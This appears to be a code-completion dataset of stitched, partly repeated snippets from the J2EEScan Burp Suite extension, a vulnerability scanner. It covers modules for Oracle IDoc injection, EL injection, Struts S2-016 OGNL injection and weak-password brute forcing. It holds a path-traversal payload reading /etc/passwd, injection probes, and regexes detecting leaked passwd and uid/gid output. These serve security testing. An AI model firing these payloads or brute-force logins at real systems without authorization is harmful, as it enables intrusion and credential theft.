* This module tries to inject custom idoc scripts.
*
*
*
* References:
* http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm
* http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770
*
*
*/
public class IDocInjection implements IModule {
private static final String TITLE = "IDoc Injection";
private static final String DESCRIPTION = "The remote application is vulnerable to Oracle IDoc Injection"
+ "<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm<br />"
+ "http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53<br />"
+ "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770<br />";
private static final List<Pattern> XINCLUDE_REGEX = Arrays.asList(
Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes());
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test for not j2ee applications | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/IDocInjection.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.issues.IModule;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.issues.impl;
/**
*
* This module tries to inject custom idoc scripts.
*
*
*
* References:
* http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm
* http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770
*
*
*/
public class IDocInjection implements IModule {
private static final String TITLE = "IDoc Injection";
private static final String DESCRIPTION = "The remote application is vulnerable to Oracle IDoc Injection"
+ "<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm<br />"
+ "http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53<br />"
+ "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770<br />";
private static final List<Pattern> XINCLUDE_REGEX = Arrays.asList(
Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes());
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test for not j2ee applications | if (!isJavaApplicationByURL(curURL)){ |
ilmila/J2EEScan | src/main/java/burp/WeakPasswordBruteforcer.java | // Path: src/main/java/burp/j2ee/PassiveScanner.java
// public class PassiveScanner {
//
// /**
// * List of passive rules
// */
// static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),
// new ExceptionRule(),
// new HttpServerHeaderRule(),
// new SqlQueryRule(),
// new ApacheStrutsS2023Rule(),
// new JettyRule(),
// new SessionIDInURL(),
// new JSPostMessage(),
// new SessionFixation(),
// new LiferayRule()
// };
//
// public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse,
// IBurpExtenderCallbacks callbacks) {
//
// IExtensionHelpers helpers = callbacks.getHelpers();
//
// byte[] rawRequest = baseRequestResponse.getRequest();
// byte[] rawResponse = baseRequestResponse.getResponse();
//
// IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// IResponseInfo respInfo = helpers.analyzeResponse(rawResponse);
//
// //Body (without the headers)
// String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset());
// String respBody = getBodySection(rawResponse, respInfo.getBodyOffset());
//
// String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server");
// String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type");
// String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By");
//
// for(PassiveRule scanner : PASSIVE_RULES) {
// scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo,
// httpServerHeader,contentTypeResponse, xPoweredByHeader);
// }
//
// }
//
//
// private static String getBodySection(byte[] respBytes, int bodyOffset) {
// return new String(respBytes, bodyOffset, respBytes.length - bodyOffset);
// }
// }
| import burp.j2ee.PassiveScanner;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map; | makeHttpRequest);
IResponseInfo httpAuthAttemptResponse = helpers.analyzeResponse(responseWeakPassword);
IHttpService httpServiceInstance = new IHttpService() {
@Override
public String getHost() {
return urlToTest.getHost();
}
@Override
public int getPort() {
return urlToTest.getPort();
}
@Override
public String getProtocol() {
return urlToTest.getProtocol();
}
};
// Weak Password found
if (httpAuthAttemptResponse.getStatusCode() == 200) {
stdout.println("[!] Weak Credentils " + user + ":" + pwd+ " on " + urlToTest);
CustomHttpRequestResponse result = new CustomHttpRequestResponse(
makeHttpRequest,
responseWeakPassword,
httpServiceInstance);
| // Path: src/main/java/burp/j2ee/PassiveScanner.java
// public class PassiveScanner {
//
// /**
// * List of passive rules
// */
// static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),
// new ExceptionRule(),
// new HttpServerHeaderRule(),
// new SqlQueryRule(),
// new ApacheStrutsS2023Rule(),
// new JettyRule(),
// new SessionIDInURL(),
// new JSPostMessage(),
// new SessionFixation(),
// new LiferayRule()
// };
//
// public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse,
// IBurpExtenderCallbacks callbacks) {
//
// IExtensionHelpers helpers = callbacks.getHelpers();
//
// byte[] rawRequest = baseRequestResponse.getRequest();
// byte[] rawResponse = baseRequestResponse.getResponse();
//
// IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// IResponseInfo respInfo = helpers.analyzeResponse(rawResponse);
//
// //Body (without the headers)
// String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset());
// String respBody = getBodySection(rawResponse, respInfo.getBodyOffset());
//
// String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server");
// String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type");
// String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By");
//
// for(PassiveRule scanner : PASSIVE_RULES) {
// scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo,
// httpServerHeader,contentTypeResponse, xPoweredByHeader);
// }
//
// }
//
//
// private static String getBodySection(byte[] respBytes, int bodyOffset) {
// return new String(respBytes, bodyOffset, respBytes.length - bodyOffset);
// }
// }
// Path: src/main/java/burp/WeakPasswordBruteforcer.java
import burp.j2ee.PassiveScanner;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
makeHttpRequest);
IResponseInfo httpAuthAttemptResponse = helpers.analyzeResponse(responseWeakPassword);
IHttpService httpServiceInstance = new IHttpService() {
@Override
public String getHost() {
return urlToTest.getHost();
}
@Override
public int getPort() {
return urlToTest.getPort();
}
@Override
public String getProtocol() {
return urlToTest.getProtocol();
}
};
// Weak Password found
if (httpAuthAttemptResponse.getStatusCode() == 200) {
stdout.println("[!] Weak Credentils " + user + ":" + pwd+ " on " + urlToTest);
CustomHttpRequestResponse result = new CustomHttpRequestResponse(
makeHttpRequest,
responseWeakPassword,
httpServiceInstance);
| PassiveScanner.scanVulnerabilities(result, callbacks); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/EL3Injection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; | private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"System.getProperties()".getBytes()
);
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test for not j2ee applications
if (!isJavaApplicationByURL(curURL)){
return issues;
}
for (byte[] INJ_TEST : EL_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
// look for matches of our active check grep string
List<int[]> matches = getMatches(checkRequestResponse.getResponse(), GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/EL3Injection.java
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"System.getProperties()".getBytes()
);
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Skip test for not j2ee applications
if (!isJavaApplicationByURL(curURL)){
return issues;
}
for (byte[] INJ_TEST : EL_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
// look for matches of our active check grep string
List<int[]> matches = getMatches(checkRequestResponse.getResponse(), GREP_STRING, helpers);
if (matches.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2016.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | + "<br /><br />Since said information will be evaluated as OGNL expression"
+ " against the value stack, this introduces the possibility to inject "
+ "server side code.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-016.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248";
private static final String REMEDY = "Update the remote Struts vulnerable library";
private PrintWriter stderr;
private static List<Pattern> DETECTION_REGEX = new ArrayList();
static {
DETECTION_REGEX.add(Pattern.compile("Subnet Mask", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("uid=[0-9]+.*gid=[0-9]+.*", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("java\\.lang\\.(UNIX)", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2016.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+ "<br /><br />Since said information will be evaluated as OGNL expression"
+ " against the value stack, this introduces the possibility to inject "
+ "server side code.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-016.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248";
private static final String REMEDY = "Update the remote Struts vulnerable library";
private PrintWriter stderr;
private static List<Pattern> DETECTION_REGEX = new ArrayList();
static {
DETECTION_REGEX.add(Pattern.compile("Subnet Mask", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("uid=[0-9]+.*gid=[0-9]+.*", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("java\\.lang\\.(UNIX)", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| if (!isJavaApplicationByURL(curURL)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2016.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, payload, IParameter.PARAM_URL)
);
//TODO Fix me hack
String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
